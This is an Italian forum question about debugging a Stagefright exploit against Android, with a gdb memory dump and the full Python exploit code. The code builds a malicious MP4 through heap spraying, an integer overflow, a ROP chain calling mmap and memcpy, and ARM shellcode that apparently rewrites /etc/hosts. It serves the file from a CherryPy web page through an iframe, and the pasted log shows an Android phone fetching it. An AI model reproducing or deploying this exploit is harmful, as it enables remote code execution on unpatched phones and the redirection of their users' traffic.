Sto lavorando con lo sfruttamento Stagefright ... la mia domanda è in grassetto qui sotto.
Alcune informazioni di base:
Di seguito è riportato il risultato della catena / stack ROP che hanno fatto le cose mmap () inclusa la copia con altro shellcode (con memcpy) nel nuovo indirizzo (0xb1000000). Vedi il codice di exploit di seguito.
Non funziona come dovrebbe, quindi ho provato a impostare il registro PC sul mio shellcode, ma su segfaults.
(gdb) x/1000x 0xb1000000
0xb1000000: 0x55555555 0x66666666 0x77777777 0xb6e95b21
0xb1000010: 0xffffffff 0x23232323 0x00000000 0x00000000
0xb1000020: 0xb6ebf78d 0xb1000000 0xb2fff130 0x00000ed0
0xb1000030: 0x33333333 0xb6ec27ac 0x23232323 0x23232323
0xb1000040: 0x23232323 0x23232323 0x23232323 0x23232323
0xb1000050: 0x23232323 0x23232323 0x23232323 0x23232323
0xb1000060: 0x23232323 0x23232323 0x23232323 0x23232323
0xb1000070: 0x23232323 0x23232323 0xb6e8ccb3 0x23232323
0xb1000080: 0x44444444 0x55555555 0x66666666 0x77777777
0xb1000090: 0xb6e8f560 0x44444444 0x55555555 0x66666666
0xb10000a0: 0x77777777 0xb1000001 0x23232323 0x23232323
0xb10000b0: 0x23232323 0x23232323 0x23232323 0x23232323
0xb10000c0: 0x23232323 0x23232323 0xbf00bf00 0xbf00bf00
0xb10000d0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10000e0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10000f0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000100: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000110: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000120: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000130: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000140: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000150: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000160: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
---Type <return> to continue, or q <return> to quit---
0xb1000170: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000180: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000190: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10001a0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10001b0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10001c0: 0xbf00bf00 0xbf00bf00 0xe28f3001 0xe12fff13
0xb10001d0: 0x1c221b24 0x31ff21ff 0x31ff31ff 0x46783105
0xb10001e0: 0x2705302a 0x2214df01 0x310c4679 0xdf012704
0xb10001f0: 0x1c201b24 0xdf012701 0x2e373231 0x2e312e31
0xb1000200: 0x6f672031 0x656c676f 0x0a6b6c2e 0x6374652f
0xb1000210: 0x6f682f2f 0x00737473 0xcccccccc 0xcccccccc
0xb1000220: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb1000230: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb1000240: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb1000250: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb1000260: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
(gdb) x/10x 0xb10001c0+8
0xb10001c8: 0xe28f3001 0xe12fff13 0x1c221b24 0x31ff21ff
0xb10001d8: 0x31ff31ff 0x46783105 0x2705302a 0x2214df01
0xb10001e8: 0x310c4679 0xdf012704
(gdb) set $pc=0xb10001c8
(gdb) cont
Continuing.
[New LWP 17649]
Thread 13 "NuCachedSource2" received signal SIGABRT, Aborted.
0xb10001c8 in ?? ()
(gdb)
Come posso verificare se l'indirizzo 0xb10001c8 è eseguibile (X)? Dal momento che ho il sospetto che non lo è e quindi il segfault
Ho provato a fare:
cat / proc / PID / maps
Ma 0xb10001c8 non appare lì ...
Ecco il codice con cui sto lavorando:
#!/usr/bin/python2
import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct
#with open('shellcode.bin', 'rb') as tmp:
# shellcode = tmp.read()
shellcode = bytearray(
"\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x24\x1b"
"\x22\x1c"
"\xff\x21"
"\xff\x31"
"\xff\x31"
"\xff\x31"
"\x05\x31"
"\x78\x46"
"\x2a\x30"
"\x05\x27"
"\x01\xdf"
"\x14\x22"
"\x79\x46"
"\x0c\x31"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x31\x32\x37\x2e"
"\x31\x2e\x31\x2e"
"\x31\x20\x67\x6f"
"\x6f\x67\x6c\x65"
"\x2e\x6c\x6b\x0a"
"\x2f\x65\x74\x63"
"\x2f\x2f\x68\x6f"
"\x73\x74\x73"
)
while len(shellcode) % 4 != 0:
shellcode += '\x00'
# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10
# address of the buffer we allocate for our shellcode
#mmap_address = 0x90000000
mmap_address = 0xb1000000
# addresses that we need to predict
#libc_base = 0xb6ebd000
##libc_base = 0xb6f2c000
#libc_base = 0xb6eb0000
libc_base = 0xb6e7f000
spray_address = 0xb3000000
#spray_address = 0xb30001d0
# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None
def find_arm_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='arm')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 4 == 0:
gadget_address = address
if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
break
return gadget_address
def find_thumb_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='thumb')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 2 == 0:
gadget_address = address + 1
if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
break
return gadget_address
def find_gadget(e, gadget):
gadget_address = find_thumb_gadget(e, gadget)
if gadget_address is not None:
return gadget_address
return find_arm_gadget(e, gadget)
def find_rop_gadgets(path):
global memcpy
global mmap64
global stack_pivot
global pop_pc
global pop_r0_r1_r2_r3_pc
global pop_r4_r5_r6_r7_pc
global ldr_lr_bx_lr
global ldr_lr_bx_lr_stack_pad
e = elf.ELF(path)
e.address = libc_base
memcpy = e.symbols['memcpy']
print '[*] memcpy : 0x{:08x}'.format(memcpy)
mmap64 = e.symbols['mmap64']
print '[*] mmap64 : 0x{:08x}'.format(mmap64)
# .text:00013344 ADD R2, R0, #0x4C
# .text:00013348 LDMIA R2, {R4-LR}
# .text:0001334C TEQ SP, #0
# .text:00013350 TEQNE LR, #0
# .text:00013354 BEQ botch_0
# .text:00013358 MOV R0, R1
# .text:0001335C TEQ R0, #0
# .text:00013360 MOVEQ R0, #1
# .text:00013364 BX LR
pivot_asm = ''
pivot_asm += 'add r2, r0, #0x4c\n'
pivot_asm += 'ldmia r2, {r4 - lr}\n'
pivot_asm += 'teq sp, #0\n'
pivot_asm += 'teqne lr, #0'
stack_pivot = find_arm_gadget(e, pivot_asm)
print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)
pop_pc_asm = 'pop {pc}'
pop_pc = find_gadget(e, pop_pc_asm)
print '[*] pop_pc : 0x{:08x}'.format(pop_pc)
pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)
pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)
ldr_lr_bx_lr_stack_pad = 0
for i in range(0, 0x100, 4):
ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i)
ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
ldr_lr_bx_lr_asm += 'bx lr'
ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
if ldr_lr_bx_lr is not None:
ldr_lr_bx_lr_stack_pad = i
break
def pad(size):
return '#' * size
def pb32(val):
return struct.pack(">I", val)
def pb64(val):
return struct.pack(">Q", val)
def p32(val):
return struct.pack("<I", val)
def p64(val):
return struct.pack("<Q", val)
def chunk(tag, data, length=0):
if length == 0:
length = len(data) + 8
if length > 0xffffffff:
return pb32(1) + tag + pb64(length)+ data
return pb32(length) + tag + data
def alloc_avcc(size):
avcc = 'A' * size
return chunk('avcC', avcc)
def alloc_hvcc(size):
hvcc = 'H' * size
return chunk('hvcC', hvcc)
def sample_table(data):
stbl = ''
stbl += chunk('stco', '\x00' * 8)
stbl += chunk('stsc', '\x00' * 8)
stbl += chunk('stsz', '\x00' * 12)
stbl += chunk('stts', '\x00' * 8)
stbl += data
return chunk('stbl', stbl)
def memory_leak(size):
pssh = 'leak'
pssh += 'L' * 16
pssh += pb32(size)
pssh += 'L' * size
return chunk('pssh', pssh)
def heap_spray(size):
pssh = 'spry'
pssh += 'S' * 16
pssh += pb32(size)
page = ''
nop = asm.asm('nop', arch='thumb')
while len(page) < 0x100:
page += nop
page += shellcode
while len(page) < 0xed0:
page += '\xcc'
# MPEG4DataSource fake vtable
page += p32(stack_pivot)
# pivot swaps stack then returns to pop {pc}
page += p32(pop_r0_r1_r2_r3_pc)
# mmap64(mmap_address,
# 0x1000,
# PROT_READ | PROT_WRITE | PROT_EXECUTE,
# MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
# -1,
# 0);
page += p32(mmap_address) # r0 = address
page += p32(0x1000) # r1 = size
page += p32(7) # r2 = protection
page += p32(0x32) # r3 = flags
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap64) # pc
page += p32(0xffffffff) # fd (and then r4)
page += pad(4) # padding (and then r5)
page += p64(0) # offset (and then r6, r7)
page += p32(pop_r0_r1_r2_r3_pc) # pc
# memcpy(shellcode_address,
# spray_address + len(rop_stack),
# len(shellcode));
page += p32(mmap_address) # r0 = dst
page += p32(spray_address - 0xed0) # r1 = src
page += p32(0xed0) # r2 = size
page += p32(0x33333333) # r3
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(memcpy) # pc
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap_address + 1) # pc
while len(page) < 0x1000:
page += '#'
pssh += page * (size // 0x1000)
return chunk('pssh', pssh)
def exploit_mp4():
ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
trak = ''
# heap spray so we have somewhere to land our corrupted vtable
# pointer
# yes, we wrap this in a sample_table for a reason; the
# NuCachedSource we will be using otherwise triggers calls to mmap,
# leaving our large allocations non-contiguous and making our chance
# of failure pretty high. wrapping in a sample_table means that we
# wrap the NuCachedSource with an MPEG4Source, making a single
# allocation that caches all the data, doubling our heap spray
# effectiveness :-)
trak += sample_table(heap_spray(spray_size) * spray_count)
# heap groom for our MPEG4DataSource corruption
# get the default size allocations for our MetaData::typed_data
# groom allocations out of the way first, by allocating small blocks
# instead.
trak += alloc_avcc(8)
trak += alloc_hvcc(8)
# we allocate the initial tx3g chunk here; we'll use the integer
# overflow so that the allocated buffer later is smaller than the
# original size of this chunk, then overflow all of the following
# MPEG4DataSource object and the following pssh allocation; hence why
# we will need the extra groom allocation (so we don't overwrite
# anything sensitive...)
# | tx3g | MPEG4DataSource | pssh |
overflow = 'A' * 24
# | tx3g ----------------> | pssh |
overflow += p32(spray_address) # MPEG4DataSource vtable ptr
#overflow += '0' * 0x48
overflow += 'B' * 0x48
overflow += 'C' # r4
overflow += 'D' # r5
overflow += 'E' # r6
overflow += 'F' # r7
overflow += 'G' # r8
overflow += 'H' # r9
overflow += 'I' # r10
overflow += 'J' # r11
overflow += 'K' # r12
overflow += p32(spray_address + 0x20) # sp
overflow += p32(pop_pc) # lr
trak += chunk("tx3g", overflow)
# defragment the for alloc_size blocks, then make our two
# allocations. we end up with a spurious block in the middle, from
# the temporary ABuffer deallocation.
# | pssh | - | pssh |
trak += memory_leak(alloc_size) * groom_count
# | pssh | - | pssh | .... | avcC |
trak += alloc_avcc(alloc_size)
# | pssh | - | pssh | .... | avcC | hvcC |
trak += alloc_hvcc(alloc_size)
# | pssh | - | pssh | pssh | avcC | hvcC | pssh |
trak += memory_leak(alloc_size) * 8
# | pssh | - | pssh | pssh | avcC | .... |
trak += alloc_hvcc(alloc_size * 2)
# entering the stbl chunk triggers allocation of an MPEG4DataSource
# object
# | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
stbl = ''
# | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
stbl += alloc_avcc(alloc_size * 2)
# | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
# | pssh | - | pssh | pssh | tx3g ----------------> |
overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
stbl += chunk("tx3g", '', length = overflow_length)
trak += chunk('stbl', stbl)
return ftyp + chunk('trak', trak)
index_page = '''
<!DOCTYPE html>
<html>
<head>
<title>Stagefrightened!</title>
</head>
<body>
<script>
window.setTimeout('location.reload(true);', 400000000);
</script>
<iframe src='/exploit.mp4'></iframe>
</body>
</html>
'''
class ExploitServer(object):
exploit_file = None
exploit_count = 0
@cherrypy.expose
def index(self):
self.exploit_count += 1
print '*' * 80
print 'exploit attempt: ' + str(self.exploit_count)
print '*' * 80
return index_page
@cherrypy.expose(["exploit.mp4"])
def exploit(self):
cherrypy.response.headers['Content-Type'] = 'video/mp4'
cherrypy.response.headers['Content-Encoding'] = 'gzip'
if self.exploit_file is None:
exploit_uncompressed = exploit_mp4()
with open('exploit_uncompressed.mp4', 'wb') as tmp:
tmp.write(exploit_uncompressed)
os.system('gzip exploit_uncompressed.mp4')
with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
self.exploit_file = tmp.read()
os.system('rm exploit_uncompressed.mp4.gz')
return self.exploit_file
def main():
find_rop_gadgets('libc.so')
with open('exploit.mp4', 'wb') as tmp:
tmp.write(exploit_mp4())
cherrypy.server.socket_host = '0.0.0.0'
cherrypy.quickstart(ExploitServer())
if __name__ == '__main__':
main()
Registro di esecuzione:
python stage.py
[*] memcpy : 0xb6e8f560
[*] mmap64 : 0xb6e95b21
b6e8e9b4: e280204c add r2, r0, #76 ; 0x4c
b6e8e9b8: e8927ff0 ldm r2, {r4, r5, r6, r7, r8, r9, sl, fp, ip, sp, lr}
b6e8e9bc: e33d0000 teq sp, #0
b6e8e9c0: 133e0000 teqne lr, #0
[*] stack_pivot : 0xb6e8e9b4
b6ec1dc4: e49df004 pop {pc} ; (ldr pc, [sp], #4)
[*] pop_pc : 0xb6ec1dc4
b6ebf78c: bd0f pop {r0, r1, r2, r3, pc}
[*] pop_r0_r1_r2_r3_pc : 0xb6ebf78d
b6e8ccb2: bdf0 pop {r4, r5, r6, r7, pc}
[*] pop_r4_r5_r6_r7_pc : 0xb6e8ccb3
b6ec27ac: e59de040 ldr lr, [sp, #64] ; 0x40
b6ec27b0: e28dd048 add sp, sp, #72 ; 0x48
b6ec27b4: e12fff1e bx lr
[25/Mar/2017:23:05:32] ENGINE Listening for SIGHUP.
[25/Mar/2017:23:05:32] ENGINE Listening for SIGTERM.
[25/Mar/2017:23:05:32] ENGINE Listening for SIGUSR1.
[25/Mar/2017:23:05:32] ENGINE Bus STARTING
CherryPy Checker:
The Application mounted at '' has an empty config.
[25/Mar/2017:23:05:32] ENGINE Started monitor thread '_TimeoutMonitor'.
[25/Mar/2017:23:05:32] ENGINE Started monitor thread 'Autoreloader'.
[25/Mar/2017:23:05:32] ENGINE Serving on http://0.0.0.0:8080
[25/Mar/2017:23:05:32] ENGINE Bus STARTED
********************************************************************************
exploit attempt: 1
********************************************************************************
192.168.1.3 - - [25/Mar/2017:23:05:56] "GET / HTTP/1.1" 200 234 "" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:05:56] "GET /exploit.mp4 HTTP/1.1" 200 37228 "http://192.168.1.2:8080/" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:05:57] "GET /exploit.mp4 HTTP/1.1" 200 37228 "http://192.168.1.2:8080/exploit.mp4" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:06:01] "GET /exploit.mp4 HTTP/1.1" 200 37228 "" "stagefright/1.2 (Linux;Android 5.1.1)"
^C[25/Mar/2017:23:09:38] ENGINE Keyboard Interrupt: shutting down bus